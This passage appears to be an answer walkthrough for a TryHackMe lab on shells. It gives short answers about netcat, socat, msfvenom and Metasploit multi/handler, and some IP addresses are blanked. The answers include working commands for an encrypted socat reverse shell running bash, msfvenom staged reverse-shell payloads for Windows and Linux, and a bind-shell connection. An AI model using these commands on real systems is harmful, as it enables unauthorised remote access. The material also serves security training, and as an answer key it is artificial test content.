A: R

Q: You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)

A: N

Q: When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?

A: T


Task 4 Netcat

Q: Which option tells netcat to listen?

A: -l

Q: How would you connect to a bind shell on the IP address: with port 8080?

A: nc 8080


Task 5 Netcat Shell Stabilisation

Q: How would you change your terminal size to have 238 columns?

A: stty cols 238

Q: What is the syntax for setting up a Python3 webserver on port 80?

A: sudo python3 -m http.server 80


Task 6 Socat

Q: How would we get socat to listen on TCP port 8080?

A: TCP-L:8080


Task 7 Socat Encrypted Shells

Q: What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called β€œencrypt.pem”

A: socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

Q: If your IP is, what syntax would you use to connect back to this listener?

A: socat OPENSSL:,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane


Task 8 Common Shell Payloads

Q: What command can be used to create a named pipe in Linux?

A: mkfifo

– Β 

Task 9 msfvenom

Q: Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port

A: msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port number>

Q: Which symbol is used to show that a shell is stageless?

A: _

Q: What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was, and you were listening on port 443? The format for the shell is elf and the output filename should be shell

A: msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST= LPORT=443

Task 10 Metasploit multi/handler

Q: What command can be used to start a listener in the background?

A: exploit -j

Q: If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?

A: sessions 10
